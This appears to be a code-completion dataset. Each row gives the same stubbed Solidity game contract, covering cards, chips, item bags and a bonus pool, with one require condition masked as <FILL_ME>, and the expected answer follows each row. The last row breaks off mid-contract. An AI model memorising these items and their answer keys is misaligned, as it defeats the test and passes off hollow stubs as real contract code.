function GainCard(address acc, uint32 iCard) external
{
}
function GetDynamicCardAmountList(address acc) external view returns(uint[] amountList)
{
}
function GenChipByRandomWeight(uint random, uint8 level, uint[] extWeight) external AuthAble returns(uint32 iChip)
{
}
function CheckGenChip(uint32 iChip) external view returns(bool)
{
}
function GenChip(uint32 iChip) external AuthAble
{
}
}
| GetPartNum(level)>=part | 325,936 | GetPartNum(level)>=part |
null | pragma solidity ^0.4.24;
contract Base
{
uint8 constant HEROLEVEL_MIN = 1;
uint8 constant HEROLEVEL_MAX = 5;
uint8 constant LIMITCHIP_MINLEVEL = 3;
uint constant PARTWEIGHT_NORMAL = 100;
uint constant PARTWEIGHT_LIMIT = 40;
address creator;
constructor() public
{
}
modifier MasterAble()
{
}
function IsLimitPart(uint8 level, uint part) internal pure returns(bool)
{
}
function GetPartWeight(uint8 level, uint part) internal pure returns(uint)
{
}
function GetPartNum(uint8 level) internal pure returns(uint)
{
}
}
contract BasicTime
{
uint constant DAY_SECONDS = 60 * 60 * 24;
function GetDayCount(uint timestamp) pure internal returns(uint)
{
}
function GetExpireTime(uint timestamp, uint dayCnt) pure internal returns(uint)
{
}
}
contract BasicAuth is Base
{
address master;
mapping(address => bool) auth_list;
function InitMaster(address acc) internal
{
}
modifier MasterAble()
{
}
modifier OwnerAble(address acc)
{
}
modifier AuthAble()
{
}
function CanHandleAuth(address from) internal view returns(bool)
{
}
function SetAuth(address target) external
{
}
function ClearAuth(address target) external
{
}
}
contract MainBase is Base
{
modifier ValidLevel(uint8 level)
{
}
modifier ValidParts(uint8 level, uint32[] parts)
{
}
modifier ValidPart(uint8 level, uint part)
{
}
}
library IndexList
{
function insert(uint32[] storage self, uint32 index, uint pos) external
{
}
function remove(uint32[] storage self, uint32 index) external returns(bool)
{
}
function remove(uint32[] storage self, uint32 index, uint startPos) public returns(bool)
{
}
}
library ItemList {
using IndexList for uint32[];
struct Data {
uint32[] m_List;
mapping(uint32 => uint) m_Maps;
}
function _insert(Data storage self, uint32 key, uint val) internal
{
}
function _delete(Data storage self, uint32 key) internal
{
}
function set(Data storage self, uint32 key, uint num) public
{
}
function add(Data storage self, uint32 key, uint num) external
{
}
function sub(Data storage self, uint32 key, uint num) external
{
}
function has(Data storage self, uint32 key) public view returns(bool)
{
}
function get(Data storage self, uint32 key) public view returns(uint)
{
}
function list(Data storage self) view external returns(uint32[],uint[])
{
}
function isEmpty(Data storage self) view external returns(bool)
{
}
function keys(Data storage self) view external returns(uint32[])
{
}
}
contract MainCard is BasicAuth,MainBase
{
struct Card {
uint32 m_Index;
uint32 m_Duration;
uint8 m_Level;
uint16 m_DP; //DynamicProfit
uint16 m_DPK; //K is coefficient
uint16 m_SP; //StaticProfit
uint16 m_IP; //ImmediateProfit
uint32[] m_Parts;
}
struct CardLib {
uint32[] m_List;
mapping(uint32 => Card) m_Lib;
}
CardLib g_CardLib;
function AddNewCard(uint32 iCard, uint32 duration, uint8 level, uint16 dp, uint16 dpk, uint16 sp, uint16 ip, uint32[] parts) external MasterAble ValidLevel(level) ValidParts(level,parts)
{
require(<FILL_ME>)
g_CardLib.m_List.push(iCard);
g_CardLib.m_Lib[iCard] = Card({
m_Index : iCard,
m_Duration: duration,
m_Level : level,
m_DP : dp,
m_DPK : dpk,
m_SP : sp,
m_IP : ip,
m_Parts : parts
});
}
function CardExists(uint32 iCard) public view returns(bool)
{
}
function GetCard(uint32 iCard) internal view returns(Card storage)
{
}
function GetCardInfo(uint32 iCard) external view returns(uint32, uint32, uint8, uint16, uint16, uint16, uint16, uint32[])
{
}
function GetExistsCardList() external view returns(uint32[])
{
}
}
contract MainChip is BasicAuth,MainBase
{
using IndexList for uint32[];
struct Chip
{
uint8 m_Level;
uint8 m_LimitNum;
uint8 m_Part;
uint32 m_Index;
uint256 m_UsedNum;
}
struct PartManager
{
uint32[] m_IndexList; //index list, player can obtain
uint32[] m_UnableList; //player can't obtain
}
struct ChipLib
{
uint32[] m_List;
mapping(uint32 => Chip) m_Lib;
mapping(uint32 => uint[]) m_TempList;
mapping(uint8 => mapping(uint => PartManager)) m_PartMap;//level -> level list
}
ChipLib g_ChipLib;
function AddNewChip(uint32 iChip, uint8 lv, uint8 limit, uint8 part) external MasterAble ValidLevel(lv) ValidPart(lv,part)
{
}
function GetChip(uint32 iChip) internal view returns(Chip storage)
{
}
function GetPartManager(uint8 level, uint iPart) internal view returns(PartManager storage)
{
}
function ChipExists(uint32 iChip) public view returns(bool)
{
}
function GetChipUsedNum(uint32 iChip) internal view returns(uint)
{
}
function CanObtainChip(uint32 iChip) internal view returns(bool)
{
}
function CostChip(uint32 iChip) internal
{
}
function ObtainChip(uint32 iChip) internal
{
}
function BeforeChipObtain(uint32 iChip) internal
{
}
function BeforeChipCost(uint32 iChip) internal
{
}
function AddChipTempTime(uint32 iChip, uint expireTime) internal
{
}
function RefreshChipUnableList(uint8 level) internal
{
}
function GenChipByWeight(uint random, uint8 level, uint[] extWeight) internal view returns(uint32)
{
}
function GetChipInfo(uint32 iChip) external view returns(uint32, uint8, uint8, uint, uint8, uint)
{
}
function GetExistsChipList() external view returns(uint32[])
{
}
}
contract MainBonus is BasicTime,BasicAuth,MainBase,MainCard
{
uint constant BASERATIO = 10000;
struct PlayerBonus
{
uint m_DrawedDay;
uint16 m_DDPermanent;// drawed day permanent
mapping(uint => uint16) m_DayStatic;
mapping(uint => uint16) m_DayPermanent;
mapping(uint => uint32[]) m_DayDynamic;
}
struct DayRatio
{
uint16 m_Static;
uint16 m_Permanent;
uint32[] m_DynamicCard;
mapping(uint32 => uint) m_CardNum;
}
struct BonusData
{
uint m_RewardBonus;//bonus pool,waiting for withdraw
uint m_RecordDay;// recordday
uint m_RecordBonus;//recordday bonus , to show
uint m_RecordPR;// recordday permanent ratio
mapping(uint => DayRatio) m_DayRatio;
mapping(uint => uint) m_DayBonus;// day final bonus
mapping(address => PlayerBonus) m_PlayerBonus;
}
BonusData g_Bonus;
constructor() public
{
}
function() external payable {}
function NeedRefresh(uint dayNo) internal view returns(bool)
{
}
function PlayerNeedRefresh(address acc, uint dayNo) internal view returns(bool)
{
}
function GetDynamicRatio(uint dayNo) internal view returns(uint tempRatio)
{
}
function GenDayRatio(uint dayNo) internal view returns(uint iDR)
{
}
function GetDynamicCardNum(uint32 iCard, uint dayNo) internal view returns(uint num)
{
}
function GetPlayerDynamicRatio(address acc, uint dayNo) internal view returns(uint tempRatio)
{
}
function GenPlayerRatio(address acc, uint dayNo) internal view returns(uint tempRatio)
{
}
function RefreshDayBonus() internal
{
}
function QueryPlayerBonus(address acc, uint todayNo) view internal returns(uint accBonus,uint16 accPR)
{
}
function GetDynamicCardAmount(uint32 iCard, uint timestamp) external view returns(uint num)
{
}
function AddDynamicProfit(address acc, uint32 iCard, uint duration) internal
{
}
function AddStaticProfit(address acc,uint16 ratio,uint duration) internal
{
}
function ImmediateProfit(address acc, uint ratio) internal
{
}
function ProfitByCard(address acc, uint32 iCard) internal
{
}
function QueryBonus() external view returns(uint)
{
}
function QueryMyBonus(address acc) external view returns(uint bonus)
{
}
function AddBonus(uint bonus) external AuthAble
{
}
function Withdraw(address acc) external
{
}
function MasterWithdraw() external
{
}
}
contract MainBag is BasicTime,BasicAuth,MainChip,MainCard
{
using ItemList for ItemList.Data;
struct Bag
{
ItemList.Data m_Stuff;
ItemList.Data m_TempStuff;
ItemList.Data m_Chips;
ItemList.Data m_TempCards; // temporary cards
ItemList.Data m_PermCards; // permanent cards
}
mapping(address => Bag) g_BagList;
function GainStuff(address acc, uint32 iStuff, uint iNum) external AuthAble OwnerAble(acc)
{
}
function CostStuff(address acc, uint32 iStuff, uint iNum) external AuthAble OwnerAble(acc)
{
}
function GetStuffNum(address acc, uint32 iStuff) view external returns(uint)
{
}
function GetStuffList(address acc) external view returns(uint32[],uint[])
{
}
function GainTempStuff(address acc, uint32 iStuff, uint dayCnt) external AuthAble OwnerAble(acc)
{
}
function GetTempStuffExpire(address acc, uint32 iStuff) external view returns(uint expire)
{
}
function GetTempStuffList(address acc) external view returns(uint32[],uint[])
{
}
function GainChip(address acc, uint32 iChip,bool bGenerated) external AuthAble OwnerAble(acc)
{
}
function CostChip(address acc, uint32 iChip) external AuthAble OwnerAble(acc)
{
}
function GetChipNum(address acc, uint32 iChip) external view returns(uint)
{
}
function GetChipList(address acc) external view returns(uint32[],uint[])
{
}
function GainCard2(address acc, uint32 iCard) internal
{
}
function HasCard(address acc, uint32 iCard) public view returns(bool)
{
}
function GetCardList(address acc) external view returns(uint32[] tempCards, uint[] cardsTime, uint32[] permCards)
{
}
}
contract Main is MainChip,MainCard,MainBag,MainBonus
{
constructor(address Master) public
{
}
function GainCard(address acc, uint32 iCard) external
{
}
function GetDynamicCardAmountList(address acc) external view returns(uint[] amountList)
{
}
function GenChipByRandomWeight(uint random, uint8 level, uint[] extWeight) external AuthAble returns(uint32 iChip)
{
}
function CheckGenChip(uint32 iChip) external view returns(bool)
{
}
function GenChip(uint32 iChip) external AuthAble
{
}
}
| !CardExists(iCard) | 325,936 | !CardExists(iCard) |
null | pragma solidity ^0.4.24;
contract Base
{
uint8 constant HEROLEVEL_MIN = 1;
uint8 constant HEROLEVEL_MAX = 5;
uint8 constant LIMITCHIP_MINLEVEL = 3;
uint constant PARTWEIGHT_NORMAL = 100;
uint constant PARTWEIGHT_LIMIT = 40;
address creator;
constructor() public
{
}
modifier MasterAble()
{
}
function IsLimitPart(uint8 level, uint part) internal pure returns(bool)
{
}
function GetPartWeight(uint8 level, uint part) internal pure returns(uint)
{
}
function GetPartNum(uint8 level) internal pure returns(uint)
{
}
}
contract BasicTime
{
uint constant DAY_SECONDS = 60 * 60 * 24;
function GetDayCount(uint timestamp) pure internal returns(uint)
{
}
function GetExpireTime(uint timestamp, uint dayCnt) pure internal returns(uint)
{
}
}
contract BasicAuth is Base
{
address master;
mapping(address => bool) auth_list;
function InitMaster(address acc) internal
{
}
modifier MasterAble()
{
}
modifier OwnerAble(address acc)
{
}
modifier AuthAble()
{
}
function CanHandleAuth(address from) internal view returns(bool)
{
}
function SetAuth(address target) external
{
}
function ClearAuth(address target) external
{
}
}
contract MainBase is Base
{
modifier ValidLevel(uint8 level)
{
}
modifier ValidParts(uint8 level, uint32[] parts)
{
}
modifier ValidPart(uint8 level, uint part)
{
}
}
library IndexList
{
function insert(uint32[] storage self, uint32 index, uint pos) external
{
}
function remove(uint32[] storage self, uint32 index) external returns(bool)
{
}
function remove(uint32[] storage self, uint32 index, uint startPos) public returns(bool)
{
}
}
library ItemList {
using IndexList for uint32[];
struct Data {
uint32[] m_List;
mapping(uint32 => uint) m_Maps;
}
function _insert(Data storage self, uint32 key, uint val) internal
{
}
function _delete(Data storage self, uint32 key) internal
{
}
function set(Data storage self, uint32 key, uint num) public
{
}
function add(Data storage self, uint32 key, uint num) external
{
}
function sub(Data storage self, uint32 key, uint num) external
{
}
function has(Data storage self, uint32 key) public view returns(bool)
{
}
function get(Data storage self, uint32 key) public view returns(uint)
{
}
function list(Data storage self) view external returns(uint32[],uint[])
{
}
function isEmpty(Data storage self) view external returns(bool)
{
}
function keys(Data storage self) view external returns(uint32[])
{
}
}
contract MainCard is BasicAuth,MainBase
{
struct Card {
uint32 m_Index;
uint32 m_Duration;
uint8 m_Level;
uint16 m_DP; //DynamicProfit
uint16 m_DPK; //K is coefficient
uint16 m_SP; //StaticProfit
uint16 m_IP; //ImmediateProfit
uint32[] m_Parts;
}
struct CardLib {
uint32[] m_List;
mapping(uint32 => Card) m_Lib;
}
CardLib g_CardLib;
function AddNewCard(uint32 iCard, uint32 duration, uint8 level, uint16 dp, uint16 dpk, uint16 sp, uint16 ip, uint32[] parts) external MasterAble ValidLevel(level) ValidParts(level,parts)
{
}
function CardExists(uint32 iCard) public view returns(bool)
{
}
function GetCard(uint32 iCard) internal view returns(Card storage)
{
}
function GetCardInfo(uint32 iCard) external view returns(uint32, uint32, uint8, uint16, uint16, uint16, uint16, uint32[])
{
}
function GetExistsCardList() external view returns(uint32[])
{
}
}
contract MainChip is BasicAuth,MainBase
{
using IndexList for uint32[];
struct Chip
{
uint8 m_Level;
uint8 m_LimitNum;
uint8 m_Part;
uint32 m_Index;
uint256 m_UsedNum;
}
struct PartManager
{
uint32[] m_IndexList; //index list, player can obtain
uint32[] m_UnableList; //player can't obtain
}
struct ChipLib
{
uint32[] m_List;
mapping(uint32 => Chip) m_Lib;
mapping(uint32 => uint[]) m_TempList;
mapping(uint8 => mapping(uint => PartManager)) m_PartMap;//level -> level list
}
ChipLib g_ChipLib;
function AddNewChip(uint32 iChip, uint8 lv, uint8 limit, uint8 part) external MasterAble ValidLevel(lv) ValidPart(lv,part)
{
require(<FILL_ME>)
g_ChipLib.m_List.push(iChip);
g_ChipLib.m_Lib[iChip] = Chip({
m_Index : iChip,
m_Level : lv,
m_LimitNum : limit,
m_Part : part,
m_UsedNum : 0
});
PartManager storage pm = GetPartManager(lv,part);
pm.m_IndexList.push(iChip);
}
function GetChip(uint32 iChip) internal view returns(Chip storage)
{
}
function GetPartManager(uint8 level, uint iPart) internal view returns(PartManager storage)
{
}
function ChipExists(uint32 iChip) public view returns(bool)
{
}
function GetChipUsedNum(uint32 iChip) internal view returns(uint)
{
}
function CanObtainChip(uint32 iChip) internal view returns(bool)
{
}
function CostChip(uint32 iChip) internal
{
}
function ObtainChip(uint32 iChip) internal
{
}
function BeforeChipObtain(uint32 iChip) internal
{
}
function BeforeChipCost(uint32 iChip) internal
{
}
function AddChipTempTime(uint32 iChip, uint expireTime) internal
{
}
function RefreshChipUnableList(uint8 level) internal
{
}
function GenChipByWeight(uint random, uint8 level, uint[] extWeight) internal view returns(uint32)
{
}
function GetChipInfo(uint32 iChip) external view returns(uint32, uint8, uint8, uint, uint8, uint)
{
}
function GetExistsChipList() external view returns(uint32[])
{
}
}
contract MainBonus is BasicTime,BasicAuth,MainBase,MainCard
{
uint constant BASERATIO = 10000;
struct PlayerBonus
{
uint m_DrawedDay;
uint16 m_DDPermanent;// drawed day permanent
mapping(uint => uint16) m_DayStatic;
mapping(uint => uint16) m_DayPermanent;
mapping(uint => uint32[]) m_DayDynamic;
}
struct DayRatio
{
uint16 m_Static;
uint16 m_Permanent;
uint32[] m_DynamicCard;
mapping(uint32 => uint) m_CardNum;
}
struct BonusData
{
uint m_RewardBonus;//bonus pool,waiting for withdraw
uint m_RecordDay;// recordday
uint m_RecordBonus;//recordday bonus , to show
uint m_RecordPR;// recordday permanent ratio
mapping(uint => DayRatio) m_DayRatio;
mapping(uint => uint) m_DayBonus;// day final bonus
mapping(address => PlayerBonus) m_PlayerBonus;
}
BonusData g_Bonus;
constructor() public
{
}
function() external payable {}
function NeedRefresh(uint dayNo) internal view returns(bool)
{
}
function PlayerNeedRefresh(address acc, uint dayNo) internal view returns(bool)
{
}
function GetDynamicRatio(uint dayNo) internal view returns(uint tempRatio)
{
}
function GenDayRatio(uint dayNo) internal view returns(uint iDR)
{
}
function GetDynamicCardNum(uint32 iCard, uint dayNo) internal view returns(uint num)
{
}
function GetPlayerDynamicRatio(address acc, uint dayNo) internal view returns(uint tempRatio)
{
}
function GenPlayerRatio(address acc, uint dayNo) internal view returns(uint tempRatio)
{
}
function RefreshDayBonus() internal
{
}
function QueryPlayerBonus(address acc, uint todayNo) view internal returns(uint accBonus,uint16 accPR)
{
}
function GetDynamicCardAmount(uint32 iCard, uint timestamp) external view returns(uint num)
{
}
function AddDynamicProfit(address acc, uint32 iCard, uint duration) internal
{
}
function AddStaticProfit(address acc,uint16 ratio,uint duration) internal
{
}
function ImmediateProfit(address acc, uint ratio) internal
{
}
function ProfitByCard(address acc, uint32 iCard) internal
{
}
function QueryBonus() external view returns(uint)
{
}
function QueryMyBonus(address acc) external view returns(uint bonus)
{
}
function AddBonus(uint bonus) external AuthAble
{
}
function Withdraw(address acc) external
{
}
function MasterWithdraw() external
{
}
}
contract MainBag is BasicTime,BasicAuth,MainChip,MainCard
{
using ItemList for ItemList.Data;
struct Bag
{
ItemList.Data m_Stuff;
ItemList.Data m_TempStuff;
ItemList.Data m_Chips;
ItemList.Data m_TempCards; // temporary cards
ItemList.Data m_PermCards; // permanent cards
}
mapping(address => Bag) g_BagList;
function GainStuff(address acc, uint32 iStuff, uint iNum) external AuthAble OwnerAble(acc)
{
}
function CostStuff(address acc, uint32 iStuff, uint iNum) external AuthAble OwnerAble(acc)
{
}
function GetStuffNum(address acc, uint32 iStuff) view external returns(uint)
{
}
function GetStuffList(address acc) external view returns(uint32[],uint[])
{
}
function GainTempStuff(address acc, uint32 iStuff, uint dayCnt) external AuthAble OwnerAble(acc)
{
}
function GetTempStuffExpire(address acc, uint32 iStuff) external view returns(uint expire)
{
}
function GetTempStuffList(address acc) external view returns(uint32[],uint[])
{
}
function GainChip(address acc, uint32 iChip,bool bGenerated) external AuthAble OwnerAble(acc)
{
}
function CostChip(address acc, uint32 iChip) external AuthAble OwnerAble(acc)
{
}
function GetChipNum(address acc, uint32 iChip) external view returns(uint)
{
}
function GetChipList(address acc) external view returns(uint32[],uint[])
{
}
function GainCard2(address acc, uint32 iCard) internal
{
}
function HasCard(address acc, uint32 iCard) public view returns(bool)
{
}
function GetCardList(address acc) external view returns(uint32[] tempCards, uint[] cardsTime, uint32[] permCards)
{
}
}
contract Main is MainChip,MainCard,MainBag,MainBonus
{
constructor(address Master) public
{
}
function GainCard(address acc, uint32 iCard) external
{
}
function GetDynamicCardAmountList(address acc) external view returns(uint[] amountList)
{
}
function GenChipByRandomWeight(uint random, uint8 level, uint[] extWeight) external AuthAble returns(uint32 iChip)
{
}
function CheckGenChip(uint32 iChip) external view returns(bool)
{
}
function GenChip(uint32 iChip) external AuthAble
{
}
}
| !ChipExists(iChip) | 325,936 | !ChipExists(iChip) |
null | pragma solidity ^0.4.24;
contract Base
{
uint8 constant HEROLEVEL_MIN = 1;
uint8 constant HEROLEVEL_MAX = 5;
uint8 constant LIMITCHIP_MINLEVEL = 3;
uint constant PARTWEIGHT_NORMAL = 100;
uint constant PARTWEIGHT_LIMIT = 40;
address creator;
constructor() public
{
}
modifier MasterAble()
{
}
function IsLimitPart(uint8 level, uint part) internal pure returns(bool)
{
}
function GetPartWeight(uint8 level, uint part) internal pure returns(uint)
{
}
function GetPartNum(uint8 level) internal pure returns(uint)
{
}
}
contract BasicTime
{
uint constant DAY_SECONDS = 60 * 60 * 24;
function GetDayCount(uint timestamp) pure internal returns(uint)
{
}
function GetExpireTime(uint timestamp, uint dayCnt) pure internal returns(uint)
{
}
}
contract BasicAuth is Base
{
address master;
mapping(address => bool) auth_list;
function InitMaster(address acc) internal
{
}
modifier MasterAble()
{
}
modifier OwnerAble(address acc)
{
}
modifier AuthAble()
{
}
function CanHandleAuth(address from) internal view returns(bool)
{
}
function SetAuth(address target) external
{
}
function ClearAuth(address target) external
{
}
}
contract MainBase is Base
{
modifier ValidLevel(uint8 level)
{
}
modifier ValidParts(uint8 level, uint32[] parts)
{
}
modifier ValidPart(uint8 level, uint part)
{
}
}
library IndexList
{
function insert(uint32[] storage self, uint32 index, uint pos) external
{
}
function remove(uint32[] storage self, uint32 index) external returns(bool)
{
}
function remove(uint32[] storage self, uint32 index, uint startPos) public returns(bool)
{
}
}
library ItemList {
using IndexList for uint32[];
struct Data {
uint32[] m_List;
mapping(uint32 => uint) m_Maps;
}
function _insert(Data storage self, uint32 key, uint val) internal
{
}
function _delete(Data storage self, uint32 key) internal
{
}
function set(Data storage self, uint32 key, uint num) public
{
}
function add(Data storage self, uint32 key, uint num) external
{
}
function sub(Data storage self, uint32 key, uint num) external
{
}
function has(Data storage self, uint32 key) public view returns(bool)
{
}
function get(Data storage self, uint32 key) public view returns(uint)
{
}
function list(Data storage self) view external returns(uint32[],uint[])
{
}
function isEmpty(Data storage self) view external returns(bool)
{
}
function keys(Data storage self) view external returns(uint32[])
{
}
}
contract MainCard is BasicAuth,MainBase
{
struct Card {
uint32 m_Index;
uint32 m_Duration;
uint8 m_Level;
uint16 m_DP; //DynamicProfit
uint16 m_DPK; //K is coefficient
uint16 m_SP; //StaticProfit
uint16 m_IP; //ImmediateProfit
uint32[] m_Parts;
}
struct CardLib {
uint32[] m_List;
mapping(uint32 => Card) m_Lib;
}
CardLib g_CardLib;
function AddNewCard(uint32 iCard, uint32 duration, uint8 level, uint16 dp, uint16 dpk, uint16 sp, uint16 ip, uint32[] parts) external MasterAble ValidLevel(level) ValidParts(level,parts)
{
}
function CardExists(uint32 iCard) public view returns(bool)
{
}
function GetCard(uint32 iCard) internal view returns(Card storage)
{
}
function GetCardInfo(uint32 iCard) external view returns(uint32, uint32, uint8, uint16, uint16, uint16, uint16, uint32[])
{
}
function GetExistsCardList() external view returns(uint32[])
{
}
}
contract MainChip is BasicAuth,MainBase
{
using IndexList for uint32[];
struct Chip
{
uint8 m_Level;
uint8 m_LimitNum;
uint8 m_Part;
uint32 m_Index;
uint256 m_UsedNum;
}
struct PartManager
{
uint32[] m_IndexList; //index list, player can obtain
uint32[] m_UnableList; //player can't obtain
}
struct ChipLib
{
uint32[] m_List;
mapping(uint32 => Chip) m_Lib;
mapping(uint32 => uint[]) m_TempList;
mapping(uint8 => mapping(uint => PartManager)) m_PartMap;//level -> level list
}
ChipLib g_ChipLib;
function AddNewChip(uint32 iChip, uint8 lv, uint8 limit, uint8 part) external MasterAble ValidLevel(lv) ValidPart(lv,part)
{
}
function GetChip(uint32 iChip) internal view returns(Chip storage)
{
}
function GetPartManager(uint8 level, uint iPart) internal view returns(PartManager storage)
{
}
function ChipExists(uint32 iChip) public view returns(bool)
{
}
function GetChipUsedNum(uint32 iChip) internal view returns(uint)
{
}
function CanObtainChip(uint32 iChip) internal view returns(bool)
{
}
function CostChip(uint32 iChip) internal
{
}
function ObtainChip(uint32 iChip) internal
{
}
function BeforeChipObtain(uint32 iChip) internal
{
}
function BeforeChipCost(uint32 iChip) internal
{
}
function AddChipTempTime(uint32 iChip, uint expireTime) internal
{
}
function RefreshChipUnableList(uint8 level) internal
{
}
function GenChipByWeight(uint random, uint8 level, uint[] extWeight) internal view returns(uint32)
{
}
function GetChipInfo(uint32 iChip) external view returns(uint32, uint8, uint8, uint, uint8, uint)
{
}
function GetExistsChipList() external view returns(uint32[])
{
}
}
contract MainBonus is BasicTime,BasicAuth,MainBase,MainCard
{
uint constant BASERATIO = 10000;
struct PlayerBonus
{
uint m_DrawedDay;
uint16 m_DDPermanent;// drawed day permanent
mapping(uint => uint16) m_DayStatic;
mapping(uint => uint16) m_DayPermanent;
mapping(uint => uint32[]) m_DayDynamic;
}
struct DayRatio
{
uint16 m_Static;
uint16 m_Permanent;
uint32[] m_DynamicCard;
mapping(uint32 => uint) m_CardNum;
}
struct BonusData
{
uint m_RewardBonus;//bonus pool,waiting for withdraw
uint m_RecordDay;// recordday
uint m_RecordBonus;//recordday bonus , to show
uint m_RecordPR;// recordday permanent ratio
mapping(uint => DayRatio) m_DayRatio;
mapping(uint => uint) m_DayBonus;// day final bonus
mapping(address => PlayerBonus) m_PlayerBonus;
}
BonusData g_Bonus;
constructor() public
{
}
function() external payable {}
function NeedRefresh(uint dayNo) internal view returns(bool)
{
}
function PlayerNeedRefresh(address acc, uint dayNo) internal view returns(bool)
{
}
function GetDynamicRatio(uint dayNo) internal view returns(uint tempRatio)
{
}
function GenDayRatio(uint dayNo) internal view returns(uint iDR)
{
}
function GetDynamicCardNum(uint32 iCard, uint dayNo) internal view returns(uint num)
{
}
function GetPlayerDynamicRatio(address acc, uint dayNo) internal view returns(uint tempRatio)
{
}
function GenPlayerRatio(address acc, uint dayNo) internal view returns(uint tempRatio)
{
}
function RefreshDayBonus() internal
{
}
function QueryPlayerBonus(address acc, uint todayNo) view internal returns(uint accBonus,uint16 accPR)
{
}
function GetDynamicCardAmount(uint32 iCard, uint timestamp) external view returns(uint num)
{
}
function AddDynamicProfit(address acc, uint32 iCard, uint duration) internal
{
}
function AddStaticProfit(address acc,uint16 ratio,uint duration) internal
{
}
function ImmediateProfit(address acc, uint ratio) internal
{
}
function ProfitByCard(address acc, uint32 iCard) internal
{
}
function QueryBonus() external view returns(uint)
{
}
function QueryMyBonus(address acc) external view returns(uint bonus)
{
}
function AddBonus(uint bonus) external AuthAble
{
}
function Withdraw(address acc) external
{
}
function MasterWithdraw() external
{
}
}
contract MainBag is BasicTime,BasicAuth,MainChip,MainCard
{
using ItemList for ItemList.Data;
struct Bag
{
ItemList.Data m_Stuff;
ItemList.Data m_TempStuff;
ItemList.Data m_Chips;
ItemList.Data m_TempCards; // temporary cards
ItemList.Data m_PermCards; // permanent cards
}
mapping(address => Bag) g_BagList;
function GainStuff(address acc, uint32 iStuff, uint iNum) external AuthAble OwnerAble(acc)
{
}
function CostStuff(address acc, uint32 iStuff, uint iNum) external AuthAble OwnerAble(acc)
{
}
function GetStuffNum(address acc, uint32 iStuff) view external returns(uint)
{
}
function GetStuffList(address acc) external view returns(uint32[],uint[])
{
}
function GainTempStuff(address acc, uint32 iStuff, uint dayCnt) external AuthAble OwnerAble(acc)
{
Bag storage obj = g_BagList[acc];
require(<FILL_ME>)
obj.m_TempStuff.set(iStuff,now+dayCnt*DAY_SECONDS);
}
function GetTempStuffExpire(address acc, uint32 iStuff) external view returns(uint expire)
{
}
function GetTempStuffList(address acc) external view returns(uint32[],uint[])
{
}
function GainChip(address acc, uint32 iChip,bool bGenerated) external AuthAble OwnerAble(acc)
{
}
function CostChip(address acc, uint32 iChip) external AuthAble OwnerAble(acc)
{
}
function GetChipNum(address acc, uint32 iChip) external view returns(uint)
{
}
function GetChipList(address acc) external view returns(uint32[],uint[])
{
}
function GainCard2(address acc, uint32 iCard) internal
{
}
function HasCard(address acc, uint32 iCard) public view returns(bool)
{
}
function GetCardList(address acc) external view returns(uint32[] tempCards, uint[] cardsTime, uint32[] permCards)
{
}
}
contract Main is MainChip,MainCard,MainBag,MainBonus
{
constructor(address Master) public
{
}
function GainCard(address acc, uint32 iCard) external
{
}
function GetDynamicCardAmountList(address acc) external view returns(uint[] amountList)
{
}
function GenChipByRandomWeight(uint random, uint8 level, uint[] extWeight) external AuthAble returns(uint32 iChip)
{
}
function CheckGenChip(uint32 iChip) external view returns(bool)
{
}
function GenChip(uint32 iChip) external AuthAble
{
}
}
| obj.m_TempStuff.get(iStuff)<=now | 325,936 | obj.m_TempStuff.get(iStuff)<=now |
null | pragma solidity ^0.4.24;
contract Base
{
uint8 constant HEROLEVEL_MIN = 1;
uint8 constant HEROLEVEL_MAX = 5;
uint8 constant LIMITCHIP_MINLEVEL = 3;
uint constant PARTWEIGHT_NORMAL = 100;
uint constant PARTWEIGHT_LIMIT = 40;
address creator;
constructor() public
{
}
modifier MasterAble()
{
}
function IsLimitPart(uint8 level, uint part) internal pure returns(bool)
{
}
function GetPartWeight(uint8 level, uint part) internal pure returns(uint)
{
}
function GetPartNum(uint8 level) internal pure returns(uint)
{
}
}
contract BasicTime
{
uint constant DAY_SECONDS = 60 * 60 * 24;
function GetDayCount(uint timestamp) pure internal returns(uint)
{
}
function GetExpireTime(uint timestamp, uint dayCnt) pure internal returns(uint)
{
}
}
contract BasicAuth is Base
{
address master;
mapping(address => bool) auth_list;
function InitMaster(address acc) internal
{
}
modifier MasterAble()
{
}
modifier OwnerAble(address acc)
{
}
modifier AuthAble()
{
}
function CanHandleAuth(address from) internal view returns(bool)
{
}
function SetAuth(address target) external
{
}
function ClearAuth(address target) external
{
}
}
contract MainBase is Base
{
modifier ValidLevel(uint8 level)
{
}
modifier ValidParts(uint8 level, uint32[] parts)
{
}
modifier ValidPart(uint8 level, uint part)
{
}
}
library IndexList
{
function insert(uint32[] storage self, uint32 index, uint pos) external
{
}
function remove(uint32[] storage self, uint32 index) external returns(bool)
{
}
function remove(uint32[] storage self, uint32 index, uint startPos) public returns(bool)
{
}
}
library ItemList {
using IndexList for uint32[];
struct Data {
uint32[] m_List;
mapping(uint32 => uint) m_Maps;
}
function _insert(Data storage self, uint32 key, uint val) internal
{
}
function _delete(Data storage self, uint32 key) internal
{
}
function set(Data storage self, uint32 key, uint num) public
{
}
function add(Data storage self, uint32 key, uint num) external
{
}
function sub(Data storage self, uint32 key, uint num) external
{
}
function has(Data storage self, uint32 key) public view returns(bool)
{
}
function get(Data storage self, uint32 key) public view returns(uint)
{
}
function list(Data storage self) view external returns(uint32[],uint[])
{
}
function isEmpty(Data storage self) view external returns(bool)
{
}
function keys(Data storage self) view external returns(uint32[])
{
}
}
contract MainCard is BasicAuth,MainBase
{
struct Card {
uint32 m_Index;
uint32 m_Duration;
uint8 m_Level;
uint16 m_DP; //DynamicProfit
uint16 m_DPK; //K is coefficient
uint16 m_SP; //StaticProfit
uint16 m_IP; //ImmediateProfit
uint32[] m_Parts;
}
struct CardLib {
uint32[] m_List;
mapping(uint32 => Card) m_Lib;
}
CardLib g_CardLib;
function AddNewCard(uint32 iCard, uint32 duration, uint8 level, uint16 dp, uint16 dpk, uint16 sp, uint16 ip, uint32[] parts) external MasterAble ValidLevel(level) ValidParts(level,parts)
{
}
function CardExists(uint32 iCard) public view returns(bool)
{
}
function GetCard(uint32 iCard) internal view returns(Card storage)
{
}
function GetCardInfo(uint32 iCard) external view returns(uint32, uint32, uint8, uint16, uint16, uint16, uint16, uint32[])
{
}
function GetExistsCardList() external view returns(uint32[])
{
}
}
contract MainChip is BasicAuth,MainBase
{
using IndexList for uint32[];
struct Chip
{
uint8 m_Level;
uint8 m_LimitNum;
uint8 m_Part;
uint32 m_Index;
uint256 m_UsedNum;
}
struct PartManager
{
uint32[] m_IndexList; //index list, player can obtain
uint32[] m_UnableList; //player can't obtain
}
struct ChipLib
{
uint32[] m_List;
mapping(uint32 => Chip) m_Lib;
mapping(uint32 => uint[]) m_TempList;
